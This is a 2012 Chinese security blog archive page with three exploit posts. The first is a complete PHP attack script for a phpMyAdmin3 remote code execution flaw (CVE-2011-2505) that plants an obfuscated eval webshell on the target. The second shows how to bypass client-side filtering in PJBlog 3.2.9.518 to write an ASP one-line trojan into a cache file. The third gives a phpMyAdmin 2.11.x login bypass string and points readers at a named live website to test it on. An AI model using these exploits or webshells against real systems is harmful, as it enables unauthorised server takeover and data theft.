浏览模式: 标准 | 列表2012年05月的文章
phpMyAdmin3 remote code execute php版本 exploit
Submitted by admin
2012, May 20, 11:20 AM
来源：http://www.oldjun.com/blog/index.php/archives/81/
最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。
昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
一是session.auto_start = 1；
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
于是写了这个php版本的exp，代码如下：
#!/usr/bin/php
<?php
print_r('
+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
welcome to www.t00ls.net
mail: oldjun@gmail.com
Assigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
');
/**
* working when the directory:"config" exists and is writeable.
**/
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to pma3
Example:
php '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
');
exit;
}
$host = $argv[1];
$path = $argv[2];
/**
* Try to determine if the directory:"config" exists
**/
echo "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
if(strpos($returnstr,'404')){
exit("[-] Exploit Failed! The directory:config do not exists!\n");
}
/**
* Try to get token and sessionid
**/
echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
$sessionid=$resp[1];
if($token && $sessionid){
echo "[+] token:$token\n";
echo "[+] Session ID:$sessionid\n";
}else{
exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}
/**
* Try to insert shell into session
**/
echo "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
/**
* Try to create webshell
**/
echo "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
* Try to check if the webshell was created successfully
**/
echo "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
echo "[+] Congratulations! Expoilt successfully....\n";
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
}else{
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}
function php_request($url,$data='',$cookie=''){
global $host, $path;
$method=$data?'POST':'GET';
$packet = $method." ".$path.$url." HTTP/1.1\r\n";
$packet .= "Accept: */*\r\n";
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$packet .= "Host: $host\r\n";
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
$packet .= $cookie?"Cookie: $cookie\r\n":"";
$packet .= "Connection: Close\r\n\r\n";
$packet .= $data?$data:"";
$fp = fsockopen(gethostbyname($host), 80);
if (!$fp) {
echo 'No response from '.$host; die;
}
fputs($fp, $packet);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?> PJBlog 3.2.9.518 getwebshell 漏洞
Submitted by admin
2012, May 20, 11:17 AM
作者：不走的钟
版本：PJblog 3.2.9.518（2012/5/9日时为最新版本）
漏洞利用条件：
1、使用全静态模式（默认情况是全静态模式）
2、用户可以发帖（默认普通用户不能发帖，所以有点鸡肋）
漏洞描述：PJblog 3.2.9.518使用js过滤特殊字符，在使用全静态模式下，普通用户发帖即可插入asp一句话木马。
PJblog 3.2.9.518的安全还是非常不错，密码采用了sha1(pass+salt)方式，salt为6位，在这样的情况下，对注入还是非常有效，即使拿到密码也很难破解。
class/cls_logAction.asp部分代码如下：
<%
Class logArticle
………………省略………………
outIndex = outIndex & "[""A"";"&AListC&";("&clearT(AList)&")] " & Chr(13)
outIndex = outIndex & "[""G"";"&GListC&";("&clearT(GList)&")] " & Chr(13)
Dim CateKeys, CateItems, CateHKeys, CateHItems
CateKeys = CateDic.Keys
CateItems = CateDic.Items
CateHKeys = CateHDic.Keys
CateHItems = CateHDic.Items
For i = 0 To CateDic.Count -1
outIndex = outIndex & "["""&CateKeys(i)&""";"&CateHItems(i)&";("&clearT(CateItems(i))&")] " & Chr(13)
Next
SaveList = SaveToFile(outIndex, "cache/listCache.asp")
%>
SaveToFile函数是将outIndex内容写入到cache/listCache.asp中。
blogpost.asp中调用了 logArticle，部分代码如下：
<%
……………………
Set lArticle = New logArticle
lArticle.categoryID = request.Form("log_CateID")
lArticle.logTitle = request.Form("title")
lArticle.logAuthor = memName
lArticle.logEditType = request.Form("log_editType")
lArticle.logIntroCustom = request.Form("log_IntroC")
lArticle.logIntro = request.Form("log_Intro")
lArticle.logWeather = request.Form("log_weather")
lArticle.logLevel = request.Form("log_Level")
lArticle.logCommentOrder = request.Form("log_comorder")
lArticle.logDisableComment = request.Form("log_DisComment")
lArticle.logIsShow = IsShow
lArticle.logIsTop = request.Form("log_IsTop")
lArticle.logIsDraft = request.Form("log_IsDraft")
lArticle.logFrom = request.Form("log_From")
lArticle.logFromURL = request.Form("log_FromURL")
lArticle.logDisableImage = request.Form("log_disImg")
lArticle.logDisableSmile = request.Form("log_DisSM")
lArticle.logDisableURL = request.Form("log_DisURL")
lArticle.logDisableKeyWord = request.Form("log_DisKey")
lArticle.logMessage = request.Form("Message")
lArticle.logTrackback = request.Form("log_Quote")
lArticle.logTags = request.Form("tags")
lArticle.logPubTime = request.Form("PubTime")
lArticle.logPublishTimeType = request.Form("PubTimeType")
If blog_postFile = 2 Then
lArticle.logCname = request.Form("cname")
lArticle.logCtype = request.Form("ctype")
End If
lArticle.logReadpw = pws
lArticle.logPwtips = pwtips
lArticle.logPwtitle = pwtitle
lArticle.logPwcomm = pwcomm
lArticle.logMeta = request.Form("log_Meta")
lArticle.logKeyWords = keyword
lArticle.logDescription = B_description
if request.form("FirstPost") = 1 then
lArticle.isajax = false
lArticle.logIsDraft = false
postLog = lArticle.editLog(request.Form("postbackId"))
else
lArticle.isajax = false
postLog = lArticle.postLog
end if
Set lArticle = Nothing
%>
lArticle.logCname = request.Form(“cname”)，并没有过滤”<%” 和”%>”
漏洞利用方法：
1、用户登陆，发表文章，如下图：
2、禁止本地js，必须要使用这步，否则你无法输入’<’和’>’，因为作者已经考虑到安全问题，调用common.js本地过滤，
common/common.js 部份内容如下：
1
//创建文件夹规则 example:
2
//<input onblur="ReplaceInput(this,window.event)" onkeyup="ReplaceInput(this,window.event)" />
3
function ReplaceInput(obj, cevent){
4
var str = ["<", ">", "/", "\\", ":", "*", "?", "|", "\"", /[\u4E00-\u9FA5]/g];
5
if(cevent.keyCode != 37 && cevent.keyCode != 39){
6
//obj.value = obj.value.replace(/[\u4E00-\u9FA5]/g,'');
7
for (var i = 0 ; i < str.length ; i++){
8
obj.value = obj.value.replace(str[i], "");
9
}
10
}
11
}
3、在别名处插入<%eval request(9)%>，提交后，即可在cache/listCache.asp中会写入一句话木马，密码为9
临时解决方案，禁止普通用户发帖
PHPmyadmin 2.11.4万能密码漏洞
Submitted by admin
2012, May 16, 10:03 PM
PHPmyadmin 2.11.4
PHPmyadmin 2.11.3
两个版本都有此漏洞
我去测试了一下 确实可以用。。。
给你找到一个测试网址http://www.hitag.cn
你们可以试一下
只需要输入账号 密码不需要输入
利用代码如下：
‘localhost’@'@”
http://www.cnyzy.cn/blogview.asp?logID=1840
